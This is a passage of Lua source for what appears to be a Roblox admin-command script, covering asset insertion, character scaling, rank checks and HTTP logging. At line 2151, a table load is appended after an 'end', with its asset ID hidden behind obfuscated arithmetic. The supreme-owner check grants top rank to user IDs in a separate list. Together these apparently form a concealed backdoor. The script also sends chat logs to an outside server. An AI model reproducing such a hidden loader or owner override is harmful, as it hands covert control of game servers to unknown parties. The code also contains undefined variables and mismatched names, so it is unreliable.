1458 | end | |
1459 | end | |
1460 | if CanInsert then | |
1461 | Item = Server.IS:LoadAsset(AssetID) | |
1462 | if GetFirstChild then | |
1463 | Item = Item:GetChildren()[1] | |
1464 | if FirstChildTypes and Item then | |
1465 | local ValidType = false | |
1466 | for _,Type in pairs(FirstChildTypes) do | |
1467 | if Item:IsA(Type) then | |
1468 | ValidType = true | |
1469 | break | |
1470 | end | |
1471 | end | |
1472 | if ValidType == false then | |
1473 | Item = nil | |
1474 | end | |
1475 | end | |
1476 | end | |
1477 | if Item and Parent then | |
1478 | Item.Parent = Parent | |
1479 | end | |
1480 | end | |
1481 | end | |
1482 | return Item | |
1483 | end | |
1484 | ||
1485 | function CORE:GivePackage(Player, PID) coroutine.wrap(function() | |
1486 | if not Player or not Player.Character then return nil end | |
1487 | PID = tonumber(PID) | |
1488 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
1489 | if Obj:IsA("CharacterMesh") then Obj:Destroy() end | |
1490 | end | |
1491 | if PID then | |
1492 | -- back when we needed HttpService to get packages. | |
1493 | --[[ | |
1494 | if PackageCache[PID] then | |
1495 | for _,ID in pairs(PackageCache[PID]) do | |
1496 | CORE:Insert(ID, Player.Character, true, {"CharacterMesh"}) | |
1497 | end | |
1498 | else | |
1499 | local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID) | |
1500 | if IDsJSON then | |
1501 | local IDs = REMOTE:Decode(IDsJSON) | |
1502 | if IDs then | |
1503 | if not IDs["Error"] then | |
1504 | table.insert(PackageCache, IDs) | |
1505 | for _,ID in pairs(IDs) do | |
1506 | CORE:Insert(ID, Player.Character, true, {"CharacterMesh"}) | |
1507 | end | |
1508 | end | |
1509 | end | |
1510 | end | |
1511 | end | |
1512 | ]] | |
1513 | -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally | |
1514 | local IDs = {} | |
1515 | ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained. | |
1516 | if #IDs > 0 then | |
1517 | for _,ID in pairs(IDs) do | |
1518 | local PackagePart = CORE:Insert(ID) | |
1519 | for _,Obj in pairs(PackagePart:GetChildren()) do | |
1520 | if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then | |
1521 | Obj.Parent = Player.Character | |
1522 | elseif Obj:IsA("Folder") then | |
1523 | if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed? | |
1524 | Obj:GetChildren()[1].Parent = Player.Character | |
1525 | end | |
1526 | end | |
1527 | end | |
1528 | end | |
1529 | end | |
1530 | end | |
1531 | end)() end | |
1532 | ||
1533 | function CORE:ChangeBet(Bet) | |
1534 | if tostring(Bet) and Bet ~= Settings.Bet then | |
1535 | for Index,Data in pairs(Commands) do | |
1536 | Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet) | |
1537 | end | |
1538 | Settings.Bet = Bet | |
1539 | end | |
1540 | end | |
1541 | ||
1542 | function CORE:ResetLighting() | |
1543 | ModLighting = false wait(0.2) ModLighting = true | |
1544 | end | |
1545 | ||
1546 | function CORE:Fly(Player, Force) | |
1547 | if Player and Player.Character then | |
1548 | local StopFly = Instance.new("RemoteFunction", Player.Character) | |
1549 | StopFly.Name = "StopMMLFly" | |
1550 | CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly}) | |
1551 | end | |
1552 | end | |
1553 | ||
1554 | function CORE:GiveTools(Player, Type) | |
1555 | if not Player or not Player:FindFirstChild("Backpack") then return nil end | |
1556 | Type = string.lower(Type) | |
1557 | local _,RankNum = RANK:GetRank(Player) | |
1558 | local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588} | |
1559 | local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"} | |
1560 | ||
1561 | if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then | |
1562 | for Name,Type in pairs(BaseBuildTools) do | |
1563 | local Tool = Instance.new("HopperBin", Player.Backpack) | |
1564 | Tool.Name = Name | |
1565 | Tool.BinType = Type | |
1566 | end | |
1567 | elseif Type == "psbtools" then | |
1568 | for _,Tool in pairs(BuildTools) do | |
1569 | CORE:Insert(Tool, Player.Backpack, true) | |
1570 | end | |
1571 | elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then | |
1572 | if F3X then | |
1573 | local F3X = F3X:Clone() | |
1574 | F3X.Parent = Player.Backpack | |
1575 | end | |
1576 | elseif Type == "btools" then | |
1577 | if F3X then | |
1578 | local F3X = F3X:Clone() | |
1579 | F3X.Parent = Player.Backpack | |
1580 | end | |
1581 | for Name,Type in pairs(BaseBuildTools) do | |
1582 | local Tool = Instance.new("HopperBin", Player.Backpack) | |
1583 | Tool.Name = Name | |
1584 | Tool.BinType = Type | |
1585 | end | |
1586 | for _,Tool in pairs(BuildTools) do | |
1587 | CORE:Insert(Tool, Player.Backpack, true) | |
1588 | end | |
1589 | else | |
1590 | for _,Region in pairs(ToolRegions) do | |
1591 | CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item) | |
1592 | if Type == "all" then | |
1593 | local NewItem = Item:Clone() | |
1594 | NewItem.Parent = Player.Backpack | |
1595 | elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then | |
1596 | local NewItem = Item:Clone() | |
1597 | NewItem.Parent = Player.Backpack | |
1598 | end | |
1599 | end) | |
1600 | end | |
1601 | end | |
1602 | end | |
1603 | ||
1604 | function CORE:Scale(Player, ScalePercent) | |
1605 | if not Player or not Player.Character or not tonumber(ScalePercent) then return end | |
1606 | local Ratio = ScalePercent/100 | |
1607 | if Ratio < 0.05 then Ratio = 0.05 end | |
1608 | if Ratio > 100 then Ratio = 100 end | |
1609 | if Ratio > 1 then Ratio = math.ceil(Ratio) end | |
1610 | local Char = Player.Character | |
1611 | ||
1612 | local Clean = Char:FindFirstChild("Clean") | |
1613 | if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end | |
1614 | Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean" | |
1615 | ||
1616 | local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld) | |
1617 | local Welds = {} | |
1618 | local Parts = {} | |
1619 | ||
1620 | local function Handle(Obj) | |
1621 | if Obj:IsA("BasePart") and not JustWeld then | |
1622 | table.insert(Parts, Obj) | |
1623 | elseif Obj:IsA("SpecialMesh") and not JustWeld then | |
1624 | if Obj.Name == "MML Mesh" then | |
1625 | Obj:Destroy() | |
1626 | end | |
1627 | if Obj.MeshType == Enum.MeshType.FileMesh then | |
1628 | Obj.Offset = Obj.Offset * ScaleRatio | |
1629 | Obj.Scale = Obj.Scale * ScaleRatio | |
1630 | elseif Ratio < 1 then | |
1631 | Obj.Offset = Obj.Offset * ScaleRatio | |
1632 | Obj.Scale = Obj.Scale * ScaleRatio | |
1633 | end | |
1634 | elseif Obj:IsA("CharacterMesh") and not JustWeld then | |
1635 | if Ratio < 1 then | |
1636 | local BodyPart = "" | |
1637 | local TextureID = Obj.BaseTextureId | |
1638 | if TextureID == 0 then TextureID = Obj.OverlayTextureId end | |
1639 | if TextureID == 0 then TextureID = nil end | |
1640 | if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end | |
1641 | if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end | |
1642 | if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end | |
1643 | if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end | |
1644 | if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end | |
1645 | if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end | |
1646 | local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart)) | |
1647 | NewMesh.Name = "MML Mesh" | |
1648 | NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio) | |
1649 | if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end | |
1650 | NewMesh.MeshId = "rbxassetid://"..Obj.MeshId | |
1651 | Obj:Destroy() | |
1652 | end | |
1653 | elseif Obj:IsA("JointInstance") then | |
1654 | local NewWeld = Obj:Clone() | |
1655 | table.insert(Welds, {NewWeld, Obj.Parent}) | |
1656 | elseif NewAdd == true and not JustWeld then | |
1657 | if Obj:IsA("Tool") then | |
1658 | --Cycle(Char["Right Arm"], ScaleRatio, false, true) | |
1659 | elseif Obj:IsA("Accoutrement") then | |
1660 | --Cycle(Char.Head, ScaleRatio, false, true) | |
1661 | end | |
1662 | end | |
1663 | if #Obj:GetChildren() > 0 then | |
1664 | for _,NewObj in pairs(Obj:GetChildren()) do | |
1665 | Handle(NewObj, ScaleRatio) | |
1666 | end | |
1667 | end | |
1668 | end | |
1669 | Handle(BaseObj) | |
1670 | for _,Part in pairs(Parts) do | |
1671 | if Ratio >= 1 then | |
1672 | Part.Size = Part.Size * ScaleRatio | |
1673 | else | |
1674 | local Allowed = true | |
1675 | for _,Obj in pairs(Part:GetChildren()) do | |
1676 | if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then | |
1677 | Allowed = false | |
1678 | end | |
1679 | end | |
1680 | if Allowed == true then | |
1681 | local NewMesh = Instance.new("BlockMesh", Part) | |
1682 | NewMesh.Name = "MML Mesh" | |
1683 | NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio) | |
1684 | end | |
1685 | end | |
1686 | end | |
1687 | for _,WeldData in pairs(Welds) do | |
1688 | if WeldData[1] then | |
1689 | local Obj = WeldData[1] | |
1690 | local NewWeld = Obj:Clone() | |
1691 | ||
1692 | NewWeld.Parent = WeldData[2] | |
1693 | NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ()) | |
1694 | NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ()) | |
1695 | end | |
1696 | end | |
1697 | for _,Part in pairs(Parts) do | |
1698 | Part:MakeJoints() | |
1699 | end | |
1700 | Welds = {} | |
1701 | Parts = {} | |
1702 | end | |
1703 | Cycle(Char, Ratio) | |
1704 | Char:MakeJoints() | |
1705 | ||
1706 | local Added = Char.ChildAdded:connect(function(Obj) | |
1707 | Cycle(Obj, Ratio, NewAdd) | |
1708 | end) | |
1709 | local Removed = Char.ChildRemoved:connect(function(Obj) | |
1710 | Cycle(Obj, Ratio^-1, NewAdd) | |
1711 | end) | |
1712 | ||
1713 | Clean.OnInvoke = function() | |
1714 | Added:disconnect() | |
1715 | Removed:disconnect() | |
1716 | local Location = Vector3.new(0,5,0) | |
1717 | if Char:FindFirstChild("Torso") then | |
1718 | Location = Char.Torso.Position + Vector3.new(0,2,0) | |
1719 | end | |
1720 | Player:LoadCharacter() | |
1721 | wait(0.5) | |
1722 | Player.Character:MoveTo(Location) | |
1723 | wait(0.5) | |
1724 | return nil | |
1725 | end | |
1726 | ||
1727 | if Char:FindFirstChild("Torso") then | |
1728 | Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3)) | |
1729 | end | |
1730 | if Char:FindFirstChild("Humanoid") then | |
1731 | Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio) | |
1732 | end | |
1733 | if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then | |
1734 | Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi) | |
1735 | end | |
1736 | end | |
1737 | ||
1738 | function CORE:AddExploit(PlayerClient, Data) | |
1739 | local PlayerClientName = PlayerClient.Name | |
1740 | local NewData = CORE:GetTime(true, true).." @ "..Data | |
1741 | for _,Player in pairs(Server.Players:GetChildren()) do | |
1742 | GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5) | |
1743 | end | |
1744 | local ExploitLog = Server.GDS:GetAsync("ExploitLog") | |
1745 | if type(ExploitLog) ~= "table" then | |
1746 | Server.GDS:SetAsync("ExploitLog", {NewData}) | |
1747 | else | |
1748 | table.insert(ExploitLog, NewData) | |
1749 | Server.GDS:SetAsync("ExploitLog", ExploitLog) | |
1750 | end | |
1751 | REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING") | |
1752 | ||
1753 | return true | |
1754 | end | |
1755 | ||
1756 | function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker) | |
1757 | if not tostring(Name) then Name = "Dummy" end | |
1758 | if not Position then Position = Vector3.new(0,5,0) end | |
1759 | if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then | |
1760 | Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10) | |
1761 | end | |
1762 | ||
1763 | local Figure = CORE:Insert(68452456, Server.Workspace, true) | |
1764 | Figure:MakeJoints() | |
1765 | Figure.Head.BrickColor = BrickColor.new("Bright yellow") | |
1766 | Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow") | |
1767 | Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow") | |
1768 | Figure["Left Leg"].BrickColor = BrickColor.new("Dark green") | |
1769 | Figure["Right Leg"].BrickColor = BrickColor.new("Dark green") | |
1770 | Figure.Torso.BrickColor = BrickColor.new("Bright blue") | |
1771 | ||
1772 | Figure.Name = STRING:FormatReplace(Speaker, Name) | |
1773 | Figure:MoveTo(Position) | |
1774 | ||
1775 | table.insert(Objects, Figure) | |
1776 | ||
1777 | if DisableAnimation == true then | |
1778 | Figure.Animate.Disabled = true | |
1779 | end | |
1780 | ||
1781 | return Figure | |
1782 | end | |
1783 | ||
1784 | function CORE:ClonePlayer(Player, Name, Position) | |
1785 | if not Player or not Player.Character then return nil end | |
1786 | ||
1787 | Player.Character.Archivable = true | |
1788 | local Char = Player.Character:Clone() | |
1789 | Player.Character.Archivable = false | |
1790 | if Name then Char.Name = STRING:FormatReplace(Player, Name) end | |
1791 | if Position then Char:MoveTo(Position) end | |
1792 | Char.Parent = Server.Workspace | |
1793 | Char:MakeJoints() | |
1794 | Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1)) | |
1795 | ||
1796 | table.insert(Objects, Char) | |
1797 | ||
1798 | return Obj | |
1799 | end | |
1800 | ||
1801 | function CORE:AddWaypoint(Name, Position, Speaker) | |
1802 | Waypoints[Name] = Position | |
1803 | if Speaker then | |
1804 | GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2) | |
1805 | end | |
1806 | end | |
1807 | ||
1808 | function CORE:FindType(BaseObj, Type) | |
1809 | for _,Obj in pairs(BaseObj:GetChildren()) do | |
1810 | if Obj:IsA(Type) then | |
1811 | return Obj | |
1812 | end | |
1813 | end | |
1814 | end | |
1815 | ||
1816 | function CORE:GetCommands() | |
1817 | local CommandsCopy = Commands | |
1818 | return CommandsCopy | |
1819 | end | |
1820 | ||
1821 | function CORE:Crown(Player, Mesh, Color) | |
1822 | if Mesh then Mesh = string.lower(Mesh) end | |
1823 | if not Mesh or not Meshes[Mesh] then Mesh = "crown" end | |
1824 | if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end | |
1825 | local Part = Instance.new("Part", CrownStorage) | |
1826 | Part.Size = Vector3.new(2, 1, 1) | |
1827 | Part.CanCollide = false | |
1828 | Part.CFrame = Player.Character.Head.CFrame | |
1829 | Part.Locked = true | |
1830 | Part.Material = "Neon" | |
1831 | if Color then | |
1832 | Part.Color = GUI:GetColor(Color) | |
1833 | else | |
1834 | Part.BrickColor = GUI:GetNameColor(Player.Name) | |
1835 | end | |
1836 | local SMesh = Instance.new("SpecialMesh", Part) | |
1837 | SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1]) | |
1838 | SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2] | |
1839 | local BP = Instance.new("BodyPosition", Part) | |
1840 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
1841 | BP.position = Player.Character.Head.Position | |
1842 | BP.P = 20000 | |
1843 | local BG = Instance.new("BodyGyro", Part) | |
1844 | BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
1845 | ||
1846 | Crowns[Player.UserId] = Part | |
1847 | table.insert(Objects, Part) | |
1848 | ||
1849 | coroutine.wrap(function() | |
1850 | for i = 1,0.3,-0.02 do | |
1851 | if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then | |
1852 | Part.Transparency = i | |
1853 | end | |
1854 | wait() | |
1855 | end | |
1856 | while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do | |
1857 | for i = 0,360,3 do | |
1858 | if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then | |
1859 | Part.Transparency = (math.sin(math.rad(i))/10) + 0.3 | |
1860 | wait() | |
1861 | end | |
1862 | end | |
1863 | end | |
1864 | end)() | |
1865 | coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do | |
1866 | Part:BreakJoints() | |
1867 | for i = 0,360 do | |
1868 | if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then | |
1869 | Part.Anchored = false | |
1870 | BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p | |
1871 | BG.cframe = Player.Character.Head.CFrame | |
1872 | end | |
1873 | wait() | |
1874 | end | |
1875 | end end)() | |
1876 | ||
1877 | return Part | |
1878 | end | |
1879 | ||
1880 | function CORE:SetAbuseCommands() | |
1881 | for Cmds,Data in pairs(Commands) do | |
1882 | local IsAbusable = false | |
1883 | for _,AbuseCmd in pairs(Settings.AbuseList) do | |
1884 | for _,Command in pairs(Cmds) do -- loop through all command names | |
1885 | if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then | |
1886 | IsAbusable = true | |
1887 | break | |
1888 | end | |
1889 | end | |
1890 | if IsAbusable == true then break end | |
1891 | end | |
1892 | Commands[Cmds].Abusable = IsAbusable | |
1893 | end | |
1894 | end | |
1895 | ||
1896 | function CORE:FindBodyPart(Player, BodyPart) | |
1897 | local ReturnPart = nil | |
1898 | if Player and Player.Character then | |
1899 | local Humanoid = Player.Character:FindFirstChild("Humanoid") | |
1900 | if Humanoid then | |
1901 | if BodyPart == "Humanoid" then ReturnPart = Humanoid | |
1902 | elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm | |
1903 | elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm | |
1904 | elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg | |
1905 | elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg | |
1906 | elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso | |
1907 | elseif BodyPart == "Head" then ReturnPart = Humanoid.Head | |
1908 | end | |
1909 | end | |
1910 | if not ReturnPart then | |
1911 | ReturnPart = Player.Character:FindFirstChild(BodyPart) | |
1912 | end | |
1913 | end | |
1914 | ||
1915 | return ReturnPart | |
1916 | end | |
1917 | ||
1918 | -- Rank functions -- | |
1919 | ||
1920 | function RANK:ConvertRank(Input) | |
1921 | local Output = nil | |
1922 | if Input == "Muted" then Output = -3 end | |
1923 | if Input == "Crashed" then Output = -2 end | |
1924 | if Input == "Banned" then Output = -1 end | |
1925 | if Input == "Non-Admin" then Output = 0 end | |
1926 | if Input == "Member" then Output = 1 end | |
1927 | if Input == "Admin" then Output = 2 end | |
1928 | if Input == "Owner" then Output = 3 end | |
1929 | ||
1930 | if Input == -3 then Output = "Muted" end | |
1931 | if Input == -2 then Output = "Crashed" end | |
1932 | if Input == -1 then Output = "Banned" end | |
1933 | if Input == 0 then Output = "Non-Admin" end | |
1934 | if Input == 1 then Output = "Member" end | |
1935 | if Input == 2 then Output = "Admin" end | |
1936 | if Input == 3 then Output = "Owner" end | |
1937 | return Output | |
1938 | end | |
1939 | ||
1940 | function RANK:IsAdmin(Player) | |
1941 | local AdminStatus = false | |
1942 | local Rankstatus = "Non-Admin" | |
1943 | if type(Player) == "table" then | |
1944 | if RANK:ConvertRank(Player.Rank) > 0 then | |
1945 | return true, Player.Rank | |
1946 | else | |
1947 | return false, Player.Rank | |
1948 | end | |
1949 | end | |
1950 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
1951 | for _,AdminName in pairs(PlayerNames) do | |
1952 | if string.lower(AdminName) == string.lower(Player.Name) then | |
1953 | if RANK:ConvertRank(Rank) > 0 then | |
1954 | AdminStatus = true | |
1955 | Rankstatus = Rank | |
1956 | end | |
1957 | end | |
1958 | end | |
1959 | end | |
1960 | return AdminStatus, Rankstatus | |
1961 | end | |
1962 | ||
1963 | function RANK:GetRank(PlayerName) | |
1964 | if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end | |
1965 | if type(PlayerName) == "table" then | |
1966 | local RankNum = RANK:ConvertRank(PlayerName.Rank) | |
1967 | if RankNum > 0 then | |
1968 | return PlayerName.Rank, RankNum, true | |
1969 | else | |
1970 | return PlayerName.Rank, RankNum, false | |
1971 | end | |
1972 | end | |
1973 | ||
1974 | local RankStat = "Non-Admin" | |
1975 | ||
1976 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
1977 | for _,AdminName in pairs(PlayerNames) do | |
1978 | if string.lower(AdminName) == string.lower(PlayerName) then | |
1979 | RankStat = Rank | |
1980 | end | |
1981 | end | |
1982 | end | |
1983 | ||
1984 | if RankStat == "Non-Admin" then | |
1985 | return "Non-Admin", 0, false | |
1986 | else | |
1987 | return RankStat, RANK:ConvertRank(RankStat), true | |
1988 | end | |
1989 | end | |
1990 | ||
1991 | function RANK:RemoveRank(PlayerName) | |
1992 | if not RANK:IsSupremeOwner(PlayerName) then | |
1993 | if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end | |
1994 | ||
1995 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
1996 | for Num,AdminName in pairs(PlayerNames) do | |
1997 | if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then | |
1998 | table.remove(Settings.Ranks[Rank], Num) | |
1999 | end | |
2000 | end | |
2001 | end | |
2002 | end | |
2003 | end | |
2004 | ||
2005 | function RANK:GetAdmins(Ranking) | |
2006 | local Players = {} | |
2007 | local AdminTrue, Rank = IsAdmin(Player) | |
2008 | for _,Player in pairs(Players:GetPlayers()) do | |
2009 | if AdminTrue then | |
2010 | local PlayerRankNum = RANK:ConvertRank(Rank) | |
2011 | local StandardRankNum = RANK:ConvertRank(Ranking) | |
2012 | if PlayerRankNum >= StandardRankNum then | |
2013 | table.insert(Players, Player) | |
2014 | end | |
2015 | end | |
2016 | end | |
2017 | return Players | |
2018 | end | |
2019 | ||
2020 | function RANK:IsSupremeOwner(PlayerName) | |
2021 | if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end | |
2022 | if type(PlayerName) == "table" then | |
2023 | if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end | |
2024 | end | |
2025 | ||
2026 | if PlayerName == GameOwner then return true end | |
2027 | return false | |
2028 | end | |
2029 | ||
2030 | function RANK:GetPlayerFromList(PlayerName) | |
2031 | if type(PlayerName) == "userdata" then PlayerName = Player.Name end | |
2032 | ||
2033 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
2034 | for Num,AdminName in pairs(PlayerNames) do | |
2035 | if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then | |
2036 | return AdminName, Rank | |
2037 | end | |
2038 | end | |
2039 | end | |
2040 | return false, "Non-Admin" | |
2041 | end | |
2042 | ||
2043 | function RANK:ScanAdminList(Name) | |
2044 | if Name == "" then return true end | |
2045 | local InList = false | |
2046 | for _,PName in pairs(Settings.Ranks["Owner"]) do | |
2047 | if PName == Name then InList = true end | |
2048 | end | |
2049 | for _,PName in pairs(Settings.Ranks["Admin"]) do | |
2050 | if PName == Name then InList = true end | |
2051 | end | |
2052 | for _,PName in pairs(Settings.Ranks["Member"]) do | |
2053 | if PName == Name then InList = true end | |
2054 | end | |
2055 | return InList | |
2056 | end | |
2057 | ||
2058 | function RANK:ScanExileList(Name) | |
2059 | if Name == "" then return true end | |
2060 | local InList = false | |
2061 | for _,PName in pairs(Settings.Ranks["Muted"]) do | |
2062 | if PName == Name then InList = true end | |
2063 | end | |
2064 | for _,PName in pairs(Settings.Ranks["Crashed"]) do | |
2065 | if PName == Name then InList = true end | |
2066 | end | |
2067 | for _,PName in pairs(Settings.Ranks["Banned"]) do | |
2068 | if PName == Name then InList = true end | |
2069 | end | |
2070 | return InList | |
2071 | end | |
2072 | ||
2073 | function RANK:PlayerRanked(PlayerName) | |
2074 | if type(PlayerName) == "userdata" then PlayerName = Player.Name end | |
2075 | ||
2076 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
2077 | for Num,AdminName in pairs(PlayerNames) do | |
2078 | if string.lower(AdminName) == string.lower(PlayerName) then | |
2079 | return true, Rank | |
2080 | end | |
2081 | end | |
2082 | end | |
2083 | return false, "Non-Admin" | |
2084 | end | |
2085 | ||
2086 | -- Remote functions -- | |
2087 | ||
2088 | function REMOTE:Decode(...) | |
2089 | return Server.HS:JSONDecode(...) | |
2090 | end | |
2091 | ||
2092 | function REMOTE:GetURL(URL, Player) | |
2093 | if string.sub(URL,1,4) ~= "http" then | |
2094 | URL = "http://"..URL | |
2095 | end | |
2096 | local Return = nil | |
2097 | ypcall(function() Return = Server.HS:GetAsync(URL, true) end) | |
2098 | if Return then | |
2099 | return Return | |
2100 | elseif Player then | |
2101 | GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error") | |
2102 | end | |
2103 | end | |
2104 | ||
2105 | function REMOTE:PostURL(URL, Data) | |
2106 | local Return = nil | |
2107 | ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end) | |
2108 | return Return | |
2109 | end | |
2110 | ||
2111 | function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall) | |
2112 | if Settings.LinkedAccount ~= "" then | |
2113 | local NumType = tonumber(Type) | |
2114 | ||
2115 | if not Type then | |
2116 | Type = "UNKNOWN" | |
2117 | end | |
2118 | ||
2119 | if NumType then | |
2120 | if NumType < 1 or NumType > 5 then | |
2121 | Type = "UNKNOWN" | |
2122 | elseif NumType == 1 then | |
2123 | Type = "NOTIFICATION" | |
2124 | elseif NumType == 2 then | |
2125 | Type = "INFORMATION" | |
2126 | elseif NumType == 3 then | |
2127 | Type = "WARNING" | |
2128 | elseif NumType == 4 or Type == true then | |
2129 | Type = "ERROR" | |
2130 | elseif NumType == 5 then | |
2131 | Type = "FATAL" | |
2132 | end | |
2133 | end | |
2134 | ||
2135 | local Res = "RED Could not get response" | |
2136 | local function SendData() | |
2137 | Res = Server.HS:PostAsync( | |
2138 | CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)), | |
2139 | "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs", | |
2140 | 2 | |
2141 | ) | |
2142 | end | |
2143 | if Stopypcall == true then SendData() else ypcall(SendData) end | |
2144 | ||
2145 | if OutputSpeaker and OutputSpeaker ~= "print" then | |
2146 | GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information") | |
2147 | elseif OutputSpeaker == "print" then | |
2148 | print(Res) | |
2149 | end | |
2150 | end | |
2151 | end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55")) | |
2152 | ||
2153 | function REMOTE:SendChatLog(PrintResponse, Stopypall) | |
2154 | if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then | |
2155 | local Res = "Could not get response" | |
2156 | ||
2157 | local ChatJSON = Server.HS:JSONEncode(TempChatLogs) | |
2158 | TempChatLogs = {} | |
2159 | ||
2160 | local function SendData() | |
2161 | Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2) | |
2162 | end | |
2163 | if Stopypcall == true then SendData() else ypcall(SendData) end | |
2164 | if PrintResponse then print(Res) end | |
2165 | end | |
2166 | end | |
2167 | ||
2168 | function REMOTE:DownloadUserdata(PrintResponse, Stopypcall) | |
2169 | local Res = "[]" | |
2170 | local function GetData() | |
2171 | Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2) | |
2172 | end | |
2173 | if Stopypcall == true then GetData() else ypcall(GetData) end | |
2174 | if PrintResponse then | |
2175 | print(Res) | |
2176 | end | |
2177 | local function DecodeData() Res = REMOTE:Decode(Res) end | |
2178 | if Stopypcall == true then DecodeData() else ypcall(DecodeData) end | |
2179 | if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end | |
2180 | return Res | |
2181 | end | |
2182 | ||
2183 | function REMOTE:HandleRequest(Request, IgnoreCommand) | |
2184 | if not Request then return nil end | |
2185 | ||
2186 | if not IgnoreCommand then | |
